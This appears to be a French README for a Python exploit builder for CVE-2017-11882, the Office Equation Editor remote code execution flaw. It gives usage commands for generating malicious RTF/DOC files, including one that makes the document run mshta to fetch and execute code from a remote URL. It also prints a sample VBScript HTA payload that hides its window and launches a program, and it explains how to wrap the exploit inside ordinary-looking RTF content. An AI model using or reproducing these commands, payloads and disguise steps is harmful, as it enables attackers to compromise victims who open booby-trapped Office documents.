
Générateur d'exploit basé sur Python pour CVE-2017-11882 (exécution de code à distance dans l'éditeur d'équations Microsoft Office) avec prise en charge de shellcode personnalisé et de charges utiles mshta via des fichiers RTF/DOC.
43b script original provenant de https://github.com/embedi/CVE-2017-11882
109b script original provenant de https://github.com/unamer/CVE-2017-11882/ (un petit hommage, maintenant le code d'unamer peut exécuter du shellcode~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Analyse du correctif: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
Démonstration d'exploitation PoC: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
Utilisation avec mshta
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
La longueur de la commande pour 43b ne doit pas dépasser 43 octets, pour 109b ne doit pas dépasser 109 octets.
Le dossier example contient un fichier .rtf qui exploite la vulnérabilité CVE-2017-11882 et lance la calculatrice sur le système.
En fait, la technique du contenu personnalisé a été apprise auprès d'autres personnes. Un script a été écrit il y a longtemps, initialement destiné à rester privé, mais comme quelqu'un du groupe l'a déjà publié, je n'ai pas eu d'autre choix que de le rendre public. La méthode est simple : ouvrir le fichier .rtf normal avec un éditeur de texte, copier tout le contenu avant {\*\datastore, puis remplacer le contenu avant {\object\objautlink\objupdate. Cela devient très simple à intégrer dans un script.
Utilisation pour ajouter un contenu personnalisé, choisissez l'un des scripts :
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
Le contenu personnalisé se trouve dans input.rtf.
Concernant le dernier script d'unamer de 605 octets, je ne le mettrai pas à jour ; ceux qui sont intéressés peuvent le modifier eux-mêmes.